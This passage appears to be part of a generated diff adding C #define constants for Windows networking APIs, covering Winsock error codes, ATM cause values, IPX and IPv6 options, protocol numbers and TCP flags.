CAUSE_LOC_BEYOND_INTERWORKING 0xa +#define CAUSE_UNALLOCATED_NUMBER 0x1 +#define CAUSE_NO_ROUTE_TO_TRANSIT_NETWORK 0x2 +#define CAUSE_NO_ROUTE_TO_DESTINATION 0x3 +#define CAUSE_VPI_VCI_UNACCEPTABLE 0xa +#define CAUSE_NORMAL_CALL_CLEARING 0x10 +#define CAUSE_USER_BUSY 0x11 +#define CAUSE_NO_USER_RESPONDING 0x12 +#define CAUSE_CALL_REJECTED 0x15 +#define CAUSE_NUMBER_CHANGED 0x16 +#define CAUSE_USER_REJECTS_CLIR 0x17 +#define CAUSE_DESTINATION_OUT_OF_ORDER 0x1b +#define CAUSE_INVALID_NUMBER_FORMAT 0x1c +#define CAUSE_STATUS_ENQUIRY_RESPONSE 0x1e +#define CAUSE_NORMAL_UNSPECIFIED 0x1f +#define CAUSE_VPI_VCI_UNAVAILABLE 0x23 +#define CAUSE_NETWORK_OUT_OF_ORDER 0x26 +#define CAUSE_TEMPORARY_FAILURE 0x29 +#define CAUSE_ACCESS_INFORMAION_DISCARDED 0x2b +#define CAUSE_NO_VPI_VCI_AVAILABLE 0x2d +#define CAUSE_RESOURCE_UNAVAILABLE 0x2f +#define CAUSE_QOS_UNAVAILABLE 0x31 +#define CAUSE_USER_CELL_RATE_UNAVAILABLE 0x33 +#define CAUSE_BEARER_CAPABILITY_UNAUTHORIZED 0x39 +#define CAUSE_BEARER_CAPABILITY_UNAVAILABLE 0x3a +#define CAUSE_OPTION_UNAVAILABLE 0x3f +#define CAUSE_BEARER_CAPABILITY_UNIMPLEMENTED 0x41 +#define CAUSE_UNSUPPORTED_TRAFFIC_PARAMETERS 0x49 +#define CAUSE_INVALID_CALL_REFERENCE 0x51 +#define CAUSE_CHANNEL_NONEXISTENT 0x52 +#define CAUSE_INCOMPATIBLE_DESTINATION 0x58 +#define CAUSE_INVALID_ENDPOINT_REFERENCE 0x59 +#define CAUSE_INVALID_TRANSIT_NETWORK_SELECTION 0x5b +#define CAUSE_TOO_MANY_PENDING_ADD_PARTY 0x5c +#define CAUSE_AAL_PARAMETERS_UNSUPPORTED 0x5d +#define CAUSE_MANDATORY_IE_MISSING 0x60 +#define CAUSE_UNIMPLEMENTED_MESSAGE_TYPE 0x61 +#define CAUSE_UNIMPLEMENTED_IE 0x63 +#define CAUSE_INVALID_IE_CONTENTS 0x64 +#define CAUSE_INVALID_STATE_FOR_MESSAGE 0x65 +#define CAUSE_RECOVERY_ON_TIMEOUT 0x66 +#define CAUSE_INCORRECT_MESSAGE_LENGTH 0x68 +#define CAUSE_PROTOCOL_ERROR 0x6f +#define CAUSE_COND_UNKNOWN 0x0 +#define CAUSE_COND_PERMANENT 0x1 +#define CAUSE_COND_TRANSIENT 0x2 +#define CAUSE_REASON_USER 0x0 +#define CAUSE_REASON_IE_MISSING 0x4 +#define CAUSE_REASON_IE_INSUFFICIENT 0x8 +#define CAUSE_PU_PROVIDER 0x0 +#define CAUSE_PU_USER 0x8 +#define CAUSE_NA_NORMAL 0x0 +#define CAUSE_NA_ABNORMAL 0x4 +#define QOS_CLASS0 0x0 +#define QOS_CLASS1 0x1 +#define QOS_CLASS2 0x2 +#define QOS_CLASS3 0x3 +#define QOS_CLASS4 0x4 +#define TNS_TYPE_NATIONAL 0x40 +#define TNS_PLAN_CARRIER_ID_CODE 0x1 +#define SIO_GET_NUMBER_OF_ATM_DEVICES 0x50160001 +#define SIO_GET_ATM_ADDRESS 0xd0160002 +#define SIO_ASSOCIATE_PVC 0x90160003 +#define SIO_GET_ATM_CONNECTION_ID 0x50160004 +#define WSPDESCRIPTION_LEN 0xff +#define WSS_OPERATION_IN_PROGRESS 259 +#define LSP_SYSTEM 0x80000000 +#define LSP_INSPECTOR 0x1 +#define LSP_REDIRECTOR 0x2 +#define LSP_PROXY 0x4 +#define LSP_FIREWALL 0x8 +#define LSP_INBOUND_MODIFY 0x10 +#define LSP_OUTBOUND_MODIFY 0x20 +#define LSP_CRYPTO_COMPRESS 0x40 +#define LSP_LOCAL_CACHE 0x80 +#define UDP_NOCHECKSUM 1 +#define UDP_CHECKSUM_COVERAGE 20 +#define GAI_STRERROR_BUFFER_SIZE 0x400 +#define IPX_PTYPE 16384 +#define IPX_FILTERPTYPE 16385 +#define IPX_STOPFILTERPTYPE 16387 +#define IPX_DSTYPE 16386 +#define IPX_EXTENDED_ADDRESS 16388 +#define IPX_RECVHDR 16389 +#define IPX_MAXSIZE 16390 +#define IPX_ADDRESS 16391 +#define IPX_GETNETINFO 16392 +#define IPX_GETNETINFO_NORIP 16393 +#define IPX_SPXGETCONNECTIONSTATUS 16395 +#define IPX_ADDRESS_NOTIFY 16396 +#define IPX_MAX_ADAPTER_NUM 16397 +#define IPX_RERIPNETNUMBER 16398 +#define IPX_RECEIVE_BROADCAST 16399 +#define IPX_IMMEDIATESPXACK 16400 +#define MAX_MCAST_TTL 0xff +#define RM_OPTIONSBASE 1000 +#define RM_RATE_WINDOW_SIZE 1001 +#define RM_SET_MESSAGE_BOUNDARY 1002 +#define RM_FLUSHCACHE 1003 +#define RM_SENDER_WINDOW_ADVANCE_METHOD 1004 +#define RM_SENDER_STATISTICS 1005 +#define RM_LATEJOIN 1006 +#define RM_SET_SEND_IF 1007 +#define RM_ADD_RECEIVE_IF 1008 +#define RM_DEL_RECEIVE_IF 1009 +#define RM_SEND_WINDOW_ADV_RATE 1010 +#define RM_USE_FEC 1011 +#define RM_SET_MCAST_TTL 1012 +#define RM_RECEIVER_STATISTICS 1013 +#define RM_HIGH_SPEED_INTRANET_OPT 1014 +#define SENDER_DEFAULT_RATE_KBITS_PER_SEC 0x38 +#define SENDER_DEFAULT_WINDOW_ADV_PERCENTAGE 0xf +#define MAX_WINDOW_INCREMENT_PERCENTAGE 0x19 +#define SENDER_DEFAULT_LATE_JOINER_PERCENTAGE 0x0 +#define SENDER_MAX_LATE_JOINER_PERCENTAGE 0x4b +#define BITS_PER_BYTE 0x8 +#define LOG2_BITS_PER_BYTE 0x3 +#define UNIX_PATH_MAX 0x6c +#define SIO_AF_UNIX_GETPEERPID 0x58000100 +#define SIO_AF_UNIX_SETBINDPARENTPATH 0x98000101 +#define SIO_AF_UNIX_SETCONNPARENTPATH 0x98000102 +#define ISOPROTO_TP0 0x19 +#define ISOPROTO_TP1 0x1a +#define ISOPROTO_TP2 0x1b +#define ISOPROTO_TP3 0x1c +#define ISOPROTO_TP4 0x1d +#define ISOPROTO_TP 0x1d +#define ISOPROTO_CLTP 0x1e +#define ISOPROTO_CLNP 0x1f +#define ISOPROTO_X25 0x20 +#define ISOPROTO_INACT_NL 0x21 +#define ISOPROTO_ESIS 0x22 +#define ISOPROTO_INTRAISIS 0x23 +#define ISO_MAX_ADDR_LENGTH 0x40 +#define ISO_HIERARCHICAL 0x0 +#define ISO_NON_HIERARCHICAL 0x1 +#define ISO_EXP_DATA_USE 0x0 +#define ISO_EXP_DATA_NUSE 0x1 +#define NSPROTO_IPX 0x3e8 +#define NSPROTO_SPX 0x4e8 +#define NSPROTO_SPXII 0x4e9 +#define NETBIOS_NAME_LENGTH 0x10 +#define NETBIOS_UNIQUE_NAME 0x0 +#define NETBIOS_GROUP_NAME 0x1 +#define NETBIOS_TYPE_QUICK_UNIQUE 0x2 +#define NETBIOS_TYPE_QUICK_GROUP 0x3 +#define VNSPROTO_IPC 0x1 +#define VNSPROTO_RELIABLE_IPC 0x2 +#define VNSPROTO_SPP 0x3 +#define _LITTLE_ENDIAN 0x4d2 +#define _BIG_ENDIAN 0x10e1 +#define _PDP_ENDIAN 0xd54 +#define BYTE_ORDER 0x4d2 +#define DL_ADDRESS_LENGTH_MAXIMUM 0x20 +#define DL_HEADER_LENGTH_MAXIMUM 0x40 +#define SNAP_DSAP 0xaa +#define SNAP_SSAP 0xaa +#define SNAP_CONTROL 0x3 +#define SNAP_OUI 0x0 +#define ETH_LENGTH_OF_HEADER 0xe +#define ETH_LENGTH_OF_VLAN_HEADER 0x4 +#define ETH_LENGTH_OF_SNAP_HEADER 0x8 +#define ETHERNET_TYPE_MINIMUM 0x600 +#define ETHERNET_TYPE_IPV4 0x800 +#define ETHERNET_TYPE_ARP 0x806 +#define ETHERNET_TYPE_IPV6 0x86dd +#define ETHERNET_TYPE_802_1Q 0x8100 +#define ETHERNET_TYPE_802_1AD 0x88a8 +#define IP_VER_MASK 0xf0 +#define IPV4_VERSION 0x4 +#define MAX_IPV4_PACKET 0xffff +#define MAX_IPV4_HLEN 0x3c +#define IPV4_MINIMUM_MTU 0x240 +#define IPV4_MIN_MINIMUM_MTU 0x160 +#define IPV4_MAX_MINIMUM_MTU 0x240 +#define SIZEOF_IP_OPT_ROUTING_HEADER 0x3 +#define SIZEOF_IP_OPT_TIMESTAMP_HEADER 0x4 +#define SIZEOF_IP_OPT_SECURITY 0xb +#define SIZEOF_IP_OPT_STREAMIDENTIFIER 0x4 +#define SIZEOF_IP_OPT_ROUTERALERT 0x4 +#define IP4_OFF_MASK 0xff1f +#define ICMPV4_INVALID_PREFERENCE_LEVEL 0x80000000 +#define IGMP_QUERY_TYPE 0x11 +#define IGMP_VERSION1_REPORT_TYPE 0x12 +#define IGMP_VERSION2_REPORT_TYPE 0x16 +#define IGMP_LEAVE_GROUP_TYPE 0x17 +#define IGMP_VERSION3_REPORT_TYPE 0x22 +#define IPV6_VERSION 0x60 +#define IPV6_TRAFFIC_CLASS_MASK 0xc00f +#define IPV6_FULL_TRAFFIC_CLASS_MASK 0xf00f +#define IPV6_ECN_MASK 0x3000 +#define IPV6_FLOW_LABEL_MASK 0xffff0f00 +#define MAX_IPV6_PAYLOAD 0xffff +#define IPV6_ECN_SHIFT 0xc +#define IPV6_MINIMUM_MTU 0x500 +#define IP6F_OFF_MASK 0xf8ff +#define IP6F_RESERVED_MASK 0x600 +#define IP6F_MORE_FRAG 0x100 +#define EXT_LEN_UNIT 0x8 +#define IP6OPT_TYPE_SKIP 0x0 +#define IP6OPT_TYPE_DISCARD 0x40 +#define IP6OPT_TYPE_FORCEICMP 0x80 +#define IP6OPT_TYPE_ICMP 0xc0 +#define IP6OPT_MUTABLE 0x20 +#define ICMP6_DST_UNREACH_NOROUTE 0x0 +#define ICMP6_DST_UNREACH_ADMIN 0x1 +#define ICMP6_DST_UNREACH_BEYONDSCOPE 0x2 +#define ICMP6_DST_UNREACH_ADDR 0x3 +#define ICMP6_DST_UNREACH_NOPORT 0x4 +#define ICMP6_TIME_EXCEED_TRANSIT 0x0 +#define ICMP6_TIME_EXCEED_REASSEMBLY 0x1 +#define ICMP6_PARAMPROB_HEADER 0x0 +#define ICMP6_PARAMPROB_NEXTHEADER 0x1 +#define ICMP6_PARAMPROB_OPTION 0x2 +#define ICMP6_PARAMPROB_FIRSTFRAGMENT 0x3 +#define ICMPV6_ECHO_REQUEST_FLAG_REVERSE 0x1 +#define ND_RA_FLAG_MANAGED 0x80 +#define ND_RA_FLAG_OTHER 0x40 +#define ND_RA_FLAG_HOME_AGENT 0x20 +#define ND_RA_FLAG_PREFERENCE 0x18 +#define ND_NA_FLAG_ROUTER 0x80000000 +#define ND_NA_FLAG_SOLICITED 0x40000000 +#define ND_NA_FLAG_OVERRIDE 0x20000000 +#define ND_OPT_PI_FLAG_ONLINK 0x80 +#define ND_OPT_PI_FLAG_AUTO 0x40 +#define ND_OPT_PI_FLAG_ROUTER_ADDR 0x20 +#define ND_OPT_PI_FLAG_SITE_PREFIX 0x10 +#define ND_OPT_PI_FLAG_ROUTE 0x1 +#define ND_OPT_RI_FLAG_PREFERENCE 0x18 +#define ND_OPT_RDNSS_MIN_LEN 0x18 +#define ND_OPT_DNSSL_MIN_LEN 0x10 +#define IN6_EMBEDDEDV4_UOCTET_POSITION 0x8 +#define IN6_EMBEDDEDV4_BITS_IN_BYTE 0x8 +#define TH_MAX_LEN 0x3c +#define TH_FIN 0x1 +#define TH_SYN 0x2 +#define TH_RST 0x4 +#define TH_PSH 0x8 +#define TH_ACK 0x10 +#define TH_URG 0x20 +#define TH_ECE 0x40 +#define TH_CWR 0x80 +#define TH_OPT_EOL 0x0 +#define TH_OPT_NOP 0x1 +#define TH_OPT_MSS 0x2 +#define TH_OPT_WS 0x3 +#define TH_OPT_SACK_PERMITTED 0x4 +#define TH_OPT_SACK 0x5 +#define TH_OPT_TS 0x8 +#define TH_OPT_FASTOPEN 0x22 +// SKIPPED const NMR_REG_KEY_PATH: non-integer constant +#define INVALID_SOCKET -1 +#define WSA_INFINITE 0xffffffff +#define WSA_INVALID_EVENT 0 +#define IOC_INOUT 0xc0000000 +#define FIONREAD 1074030207 +#define FIONBIO -2147195266 +#define FIOASYNC -2147195267 +#define SIOCSHIWAT -2147192064 +#define SIOCGHIWAT 1074033409 +#define SIOCSLOWAT -2147192062 +#define SIOCGLOWAT 1074033411 +#define SIOCATMARK 1074033415 +#define INADDR_ANY 0x0 +#define INADDR_BROADCAST 0xffffffff +#define SO_DONTLINGER -129 +#define SO_EXCLUSIVEADDRUSE -5 +#define LM_HB_Extension 128 +#define LM_HB1_PnP 1 +#define LM_HB1_PDA_Palmtop 2 +#define LM_HB1_Computer 4 +#define LM_HB1_Printer 8 +#define LM_HB1_Modem 16 +#define LM_HB1_Fax 32 +#define LM_HB1_LANAccess 64 +#define LM_HB2_Telephony 1 +#define LM_HB2_FileServer 2 +#define IP_OPTION_TIMESTAMP_ONLY 0 +#define IP_OPTION_TIMESTAMP_ADDRESS 1 +#define IP_OPTION_TIMESTAMP_SPECIFIC_ADDRESS 3 +#define NetworkConnectivityLevelHintUnknown 0 +#define NetworkConnectivityLevelHintNone 1 +#define NetworkConnectivityLevelHintLocalAccess 2 +#define NetworkConnectivityLevelHintInternetAccess 3 +#define NetworkConnectivityLevelHintConstrainedInternetAccess 4 +#define NetworkConnectivityLevelHintHidden 5 +#define ND_OPT_PREF64_PREFIX_LENGTH_96 0 +#define ND_OPT_PREF64_PREFIX_LENGTH_64 1 +#define ND_OPT_PREF64_PREFIX_LENGTH_56 2 +#define ND_OPT_PREF64_PREFIX_LENGTH_48 3 +#define ND_OPT_PREF64_PREFIX_LENGTH_40 4 +#define ND_OPT_PREF64_PREFIX_LENGTH_32 5 +#define IP_PMTUDISC_NOT_SET 0 +#define IP_PMTUDISC_DO 1 +#define IP_PMTUDISC_DONT 2 +#define IP_PMTUDISC_PROBE 3 +#define IP_PMTUDISC_MAX 4 +#define RESOURCEDISPLAYTYPE_DOMAIN 0x1 +#define RESOURCEDISPLAYTYPE_FILE 0x4 +#define RESOURCEDISPLAYTYPE_GENERIC 0x0 +#define RESOURCEDISPLAYTYPE_GROUP 0x5 +#define RESOURCEDISPLAYTYPE_SERVER 0x2 +#define RESOURCEDISPLAYTYPE_SHARE 0x3 +#define RESOURCEDISPLAYTYPE_TREE 0xa +#define WsaBehaviorAll 0 +#define WsaBehaviorReceiveBuffering 1 +#define WsaBehaviorAutoTuning 2 +#define ARP_HW_ENET 1 +#define ARP_HW_802 6 +#define SERVICE_REGISTER 0x1 +#define SERVICE_DEREGISTER 0x2 +#define SERVICE_FLUSH 0x3 +#define SERVICE_ADD_TYPE 0x4 +#define SERVICE_DELETE_TYPE 0x5 +#define ND_OPT_SOURCE_LINKADDR 1 +#define ND_OPT_TARGET_LINKADDR 2 +#define ND_OPT_PREFIX_INFORMATION 3 +#define ND_OPT_REDIRECTED_HEADER 4 +#define ND_OPT_MTU 5 +#define ND_OPT_NBMA_SHORTCUT_LIMIT 6 +#define ND_OPT_ADVERTISEMENT_INTERVAL 7 +#define ND_OPT_HOME_AGENT_INFORMATION 8 +#define ND_OPT_SOURCE_ADDR_LIST 9 +#define ND_OPT_TARGET_ADDR_LIST 10 +#define ND_OPT_ROUTE_INFO 24 +#define ND_OPT_RDNSS 25 +#define ND_OPT_DNSSL 31 +#define ND_OPT_PREF64 38 +#define NlincCategoryUnknown 0 +#define NlincPublic 1 +#define NlincPrivate 2 +#define NlincDomainAuthenticated 3 +#define NlincCategoryStateMax 4 +#define RNRSERVICE_REGISTER 0 +#define RNRSERVICE_DEREGISTER 1 +#define RNRSERVICE_DELETE 2 +#define COMP_EQUAL 0 +#define COMP_NOTLESS 1 +#define IE_AALParameters 0 +#define IE_TrafficDescriptor 1 +#define IE_BroadbandBearerCapability 2 +#define IE_BHLI 3 +#define IE_BLLI 4 +#define IE_CalledPartyNumber 5 +#define IE_CalledPartySubaddress 6 +#define IE_CallingPartyNumber 7 +#define IE_CallingPartySubaddress 8 +#define IE_Cause 9 +#define IE_QOSClass 10 +#define IE_TransitNetworkSelection 11 +#define NldsInvalid 0 +#define NldsTentative 1 +#define NldsDuplicate 2 +#define NldsDeprecated 3 +#define NldsPreferred 4 +#define IpDadStateInvalid 0 +#define IpDadStateTentative 1 +#define IpDadStateDuplicate 2 +#define IpDadStateDeprecated 3 +#define IpDadStatePreferred 4 +#define IP6OPT_PAD1 0 +#define IP6OPT_PADN 1 +#define IP6OPT_TUNNEL_LIMIT 4 +#define IP6OPT_ROUTER_ALERT 5 +#define IP6OPT_JUMBO 194 +#define IP6OPT_NSAP_ADDR 195 +#define TUNNEL_SUB_TYPE_NONE 0 +#define TUNNEL_SUB_TYPE_CP 1 +#define TUNNEL_SUB_TYPE_IPTLS 2 +#define TUNNEL_SUB_TYPE_HA 3 +#define WSA_IO_PENDING 997 +#define WSA_IO_INCOMPLETE 996 +#define WSA_INVALID_HANDLE 6 +#define WSA_INVALID_PARAMETER 87 +#define WSA_NOT_ENOUGH_MEMORY 8 +#define WSA_OPERATION_ABORTED 995 +#define WSA_WAIT_EVENT_0 0 +#define WSA_WAIT_IO_COMPLETION 192 +#define WSABASEERR 10000 +#define WSAEINTR 10004 +#define WSAEBADF 10009 +#define WSAEACCES 10013 +#define WSAEFAULT 10014 +#define WSAEINVAL 10022 +#define WSAEMFILE 10024 +#define WSAEWOULDBLOCK 10035 +#define WSAEINPROGRESS 10036 +#define WSAEALREADY 10037 +#define WSAENOTSOCK 10038 +#define WSAEDESTADDRREQ 10039 +#define WSAEMSGSIZE 10040 +#define WSAEPROTOTYPE 10041 +#define WSAENOPROTOOPT 10042 +#define WSAEPROTONOSUPPORT 10043 +#define WSAESOCKTNOSUPPORT 10044 +#define WSAEOPNOTSUPP 10045 +#define WSAEPFNOSUPPORT 10046 +#define WSAEAFNOSUPPORT 10047 +#define WSAEADDRINUSE 10048 +#define WSAEADDRNOTAVAIL 10049 +#define WSAENETDOWN 10050 +#define WSAENETUNREACH 10051 +#define WSAENETRESET 10052 +#define WSAECONNABORTED 10053 +#define WSAECONNRESET 10054 +#define WSAENOBUFS 10055 +#define WSAEISCONN 10056 +#define WSAENOTCONN 10057 +#define WSAESHUTDOWN 10058 +#define WSAETOOMANYREFS 10059 +#define WSAETIMEDOUT 10060 +#define WSAECONNREFUSED 10061 +#define WSAELOOP 10062 +#define WSAENAMETOOLONG 10063 +#define WSAEHOSTDOWN 10064 +#define WSAEHOSTUNREACH 10065 +#define WSAENOTEMPTY 10066 +#define WSAEPROCLIM 10067 +#define WSAEUSERS 10068 +#define WSAEDQUOT 10069 +#define WSAESTALE 10070 +#define WSAEREMOTE 10071 +#define WSASYSNOTREADY 10091 +#define WSAVERNOTSUPPORTED 10092 +#define WSANOTINITIALISED 10093 +#define WSAEDISCON 10101 +#define WSAENOMORE 10102 +#define WSAECANCELLED 10103 +#define WSAEINVALIDPROCTABLE 10104 +#define WSAEINVALIDPROVIDER 10105 +#define WSAEPROVIDERFAILEDINIT 10106 +#define WSASYSCALLFAILURE 10107 +#define WSASERVICE_NOT_FOUND 10108 +#define WSATYPE_NOT_FOUND 10109 +#define WSA_E_NO_MORE 10110 +#define WSA_E_CANCELLED 10111 +#define WSAEREFUSED 10112 +#define WSAHOST_NOT_FOUND 11001 +#define WSATRY_AGAIN 11002 +#define WSANO_RECOVERY 11003 +#define WSANO_DATA 11004 +#define WSA_QOS_RECEIVERS 11005 +#define WSA_QOS_SENDERS 11006 +#define WSA_QOS_NO_SENDERS 11007 +#define WSA_QOS_NO_RECEIVERS 11008 +#define WSA_QOS_REQUEST_CONFIRMED 11009 +#define WSA_QOS_ADMISSION_FAILURE 11010 +#define WSA_QOS_POLICY_FAILURE 11011 +#define WSA_QOS_BAD_STYLE 11012 +#define WSA_QOS_BAD_OBJECT 11013 +#define WSA_QOS_TRAFFIC_CTRL_ERROR 11014 +#define WSA_QOS_GENERIC_ERROR 11015 +#define WSA_QOS_ESERVICETYPE 11016 +#define WSA_QOS_EFLOWSPEC 11017 +#define WSA_QOS_EPROVSPECBUF 11018 +#define WSA_QOS_EFILTERSTYLE 11019 +#define WSA_QOS_EFILTERTYPE 11020 +#define WSA_QOS_EFILTERCOUNT 11021 +#define WSA_QOS_EOBJLENGTH 11022 +#define WSA_QOS_EFLOWCOUNT 11023 +#define WSA_QOS_EUNKOWNPSOBJ 11024 +#define WSA_QOS_EPOLICYOBJ 11025 +#define WSA_QOS_EFLOWDESC 11026 +#define WSA_QOS_EPSFLOWSPEC 11027 +#define WSA_QOS_EPSFILTERSPEC 11028 +#define WSA_QOS_ESDMODEOBJ 11029 +#define WSA_QOS_ESHAPERATEOBJ 11030 +#define WSA_QOS_RESERVED_PETYPE 11031 +#define WSA_SECURE_HOST_NOT_FOUND 11032 +#define WSA_IPSEC_NAME_POLICY_ERROR 11033 +#define NlbwDisabled 0 +#define NlbwEnabled 1 +#define NlbwUnchanged -1 +#define RIO_EVENT_COMPLETION 1 +#define RIO_IOCP_COMPLETION 2 +#define IGMP_MAX_RESP_CODE_TYPE_NORMAL 0 +#define IGMP_MAX_RESP_CODE_TYPE_FLOAT 1 +#define ARP_REQUEST 1 +#define ARP_RESPONSE 2 +#define MSG_OOB 1 +#define MSG_PEEK 2 +#define MSG_DONTROUTE 4 +#define MSG_WAITALL 8 +#define MSG_PUSH_IMMEDIATE 32 +#define MCAST_INCLUDE 0 +#define MCAST_EXCLUDE 1 +#define FallbackIndexTcpFastopen 0 +#define FallbackIndexMax 1 +#define IP_OPT_EOL 0 +#define IP_OPT_NOP 1 +#define IP_OPT_SECURITY 130 +#define IP_OPT_LSRR 131 +#define IP_OPT_TS 68 +#define IP_OPT_RR 7 +#define IP_OPT_SSRR 137 +#define IP_OPT_SID 136 +#define IP_OPT_ROUTER_ALERT 148 +#define IP_OPT_MULTIDEST 149 +#define E_WINDOW_ADVANCE_BY_TIME 1 +#define E_WINDOW_USE_AS_DATA_CACHE 2 +#define ProviderInfoLspCategories 0 +#define ProviderInfoAudit 1 +#define NLA_NETWORK_AD_HOC 0 +#define NLA_NETWORK_MANAGED 1 +#define NLA_NETWORK_UNMANAGED 2 +#define NLA_NETWORK_UNKNOWN 3 +#define NlnsUnreachable 0 +#define NlnsIncomplete 1 +#define NlnsProbe 2 +#define NlnsDelay 3 +#define NlnsStale 4 +#define NlnsReachable 5 +#define NlnsPermanent 6 +#define NlnsMaximum 7 +#define IPPROTO_HOPOPTS 0 +#define IPPROTO_ICMP 1 +#define IPPROTO_IGMP 2 +#define IPPROTO_GGP 3 +#define IPPROTO_IPV4 4 +#define IPPROTO_ST 5 +#define IPPROTO_TCP 6 +#define IPPROTO_CBT 7 +#define IPPROTO_EGP 8 +#define IPPROTO_IGP 9 +#define IPPROTO_PUP 12 +#define IPPROTO_UDP 17 +#define IPPROTO_IDP 22 +#define IPPROTO_RDP 27 +#define IPPROTO_IPV6 41 +#define IPPROTO_ROUTING 43 +#define IPPROTO_FRAGMENT 44 +#define IPPROTO_ESP 50 +#define IPPROTO_AH 51 +#define IPPROTO_ICMPV6 58 +#define IPPROTO_NONE 59 +#define IPPROTO_DSTOPTS 60 +#define IPPROTO_ND 77 +#define IPPROTO_ICLFXBM 78 +#define IPPROTO_PIM 103 +#define IPPROTO_PGM 113 +#define IPPROTO_L2TP 115 +#define IPPROTO_SCTP 132 +#define IPPROTO_RAW 255 +#define IPPROTO_MAX 256 +#define IPPROTO_RESERVED_RAW 257 +#define IPPROTO_RESERVED_IPSEC 258 +#define IPPROTO_RESERVED_IPSECOFFLOAD 259 +#define IPPROTO_RESERVED_WNV 260 +#define IPPROTO_RESERVED_MAX 261 +#define IPPROTO_IP 0 +#define IPPROTO_RM 113 +#define NLA_INTERNET_UNKNOWN 0 +#define NLA_INTERNET_NO 1 +#define NLA_INTERNET_YES 2 +#define NlroManual 0 +#define NlroWellKnown 1 +#define NlroDHCP 2 +#define NlroRouterAdvertisement 3 +#define Nlro6to4 4 +#define NLA_RAW_DATA 0 +#define NLA_INTERFACE 1 +#define NLA_802_1X_LOCATION 2 +#define NLA_CONNECTIVITY 3 +#define NLA_ICS 4 +#define RCVALL_OFF 0 +#define RCVALL_ON 1 +#define RCVALL_SOCKETLEVELONLY 2 +#define RCVALL_IPLEVEL 3 +#define RouteProtocolOther 1 +#define RouteProtocolLocal 2 +#define RouteProtocolNetMgmt 3 +#define RouteProtocolIcmp 4 +#define RouteProtocolEgp 5 +#define RouteProtocolGgp 6 +#define RouteProtocolHello 7 +#define RouteProtocolRip 8 +#define RouteProtocolIsIs 9 +#define RouteProtocolEsIs 10 +#define RouteProtocolCisco 11 +#define RouteProtocolBbn 12 +#define RouteProtocolOspf 13 +#define RouteProtocolBgp 14 +#define RouteProtocolIdpr 15 +#define RouteProtocolEigrp 16 +#define RouteProtocolDvmrp 17 +#define RouteProtocolRpl 18 +#define RouteProtocolDhcp 19 +#define MIB_IPPROTO_OTHER 1 +#define PROTO_IP_OTHER 1 +#define MIB_IPPROTO_LOCAL 2 +#define PROTO_IP_LOCAL 2 +#define MIB_IPPROTO_NETMGMT 3 +#define PROTO_IP_NETMGMT 3 +#define MIB_IPPROTO_ICMP 4 +#define PROTO_IP_ICMP 4 +#define MIB_IPPROTO_EGP 5 +#define PROTO_IP_EGP 5 +#define MIB_IPPROTO_GGP 6 +#define PROTO_IP_GGP 6 +#define MIB_IPPROTO_HELLO 7 +#define PROTO_IP_HELLO 7 +#define MIB_IPPROTO_RIP 8 +#define PROTO_IP_RIP 8 +#define MIB_IPPROTO_IS_IS 9 +#define PROTO_IP_IS_IS 9 +#define MIB_IPPROTO_ES_IS 10 +#define PROTO_IP_ES_IS 10 +#define MIB_IPPROTO_CISCO 11 +#define PROTO_IP_CISCO 11 +#define MIB_IPPROTO_BBN 12 +#define PROTO_IP_BBN 12 +#define MIB_IPPROTO_OSPF 13 +#define PROTO_IP_OSPF 13 +#define MIB_IPPROTO_BGP 14 +#define PROTO_IP_BGP 14 +#define MIB_IPPROTO_IDPR 15 +#define PROTO_IP_IDPR 15 +#define MIB_IPPROTO_EIGRP 16 +#define PROTO_IP_EIGRP 16 +#define MIB_IPPROTO_DVMRP 17 +#define PROTO_IP_DVMRP 17 +#define MIB_IPPROTO_RPL 18 +#define PROTO_IP_RPL 18 +#define MIB_IPPROTO_DHCP 19 +#define PROTO_IP_DHCP 19 +#define MIB_IPPROTO_NT_AUTOSTATIC 10002 +#define PROTO_IP_NT_AUTOSTATIC 10002 +#define MIB_IPPROTO_NT_STATIC 10006 +#define PROTO_IP_NT_STATIC 10006 +#define MIB_IPPROTO_NT_STATIC_NON_DOD 10007 +#define PROTO_IP_NT_STATIC_NON_DOD 10007 +#define SOCKET_SECURITY_PROTOCOL_DEFAULT 0 +#define SOCKET_SECURITY_PROTOCOL_IPSEC 1 +#define SOCKET_SECURITY_PROTOCOL_IPSEC2 2 +#define SOCKET_SECURITY_PROTOCOL_INVALID 3 +#define SocketPriorityHintVeryLow 0 +#define SocketPriorityHintLow 1 +#define SocketPriorityHintNormal 2 +#define SocketMaximumPriorityHintType 3 +#define AF_INET 0x2 +#define AF_INET6 0x17 +#define AF_UNSPEC 0x0 +#define ProviderType_Application 1 +#define ProviderType_Service 2 +#define NlsoOther 0 +#define NlsoManual 1 +#define NlsoWellKnown 2 +#define NlsoDhcp 3 +#define NlsoLinkLayerAddress 4 +#define NlsoRandom 5 +#define IpSuffixOriginOther 0 +#define IpSuffixOriginManual 1 +#define IpSuffixOriginWellKnown 2 +#define IpSuffixOriginDhcp 3 +#define IpSuffixOriginLinkLayerAddress 4 +#define IpSuffixOriginRandom 5 +#define IpSuffixOriginUnchanged 16 +#define RouterDiscoveryDisabled 0 +#define RouterDiscoveryEnabled 1 +#define RouterDiscoveryDhcp 2 +#define RouterDiscoveryUnchanged -1 +#define TCP_ICW_LEVEL_DEFAULT 0 +#define TCP_ICW_LEVEL_HIGH 1 +#define TCP_ICW_LEVEL_VERY_HIGH 2 +#define TCP_ICW_LEVEL_AGGRESSIVE 3 +#define TCP_ICW_LEVEL_EXPERIMENTAL 4 +#define TCP_ICW_LEVEL_COMPAT 254 +#define TCP_ICW_LEVEL_MAX 255 +#define SOCK_STREAM 1 +#define SOCK_DGRAM 2 +#define SOCK_RAW 3 +#define SOCK_RDM 4 +#define SOCK_SEQPACKET 5 +#define SD_RECEIVE 0 +#define SD_SEND 1 +#define SD_BOTH 2 +#define ProviderLevel_None 0 +#define ProviderLevel_Secondary 1 +#define ProviderLevel_Primary 2 +#define MLD_MAX_RESP_CODE_TYPE_NORMAL 0 +#define MLD_MAX_RESP_CODE_TYPE_FLOAT 1 +#define MIT_GUID 1 +#define MIT_IF_LUID 2 +#define NetworkConnectivityCostHintUnknown 0 +#define NetworkConnectivityCostHintUnrestricted 1 +#define NetworkConnectivityCostHintFixed 2 +#define NetworkConnectivityCostHintVariable 3 +#define LinkLocalAlwaysOff 0 +#define LinkLocalDelayed 1 +#define LinkLocalAlwaysOn 2 +#define LinkLocalUnchanged -1 +#define CONTROL_CHANNEL_TRIGGER_STATUS_INVALID 0 +#define CONTROL_CHANNEL_TRIGGER_STATUS_SOFTWARE_SLOT_ALLOCATED 1 +#define 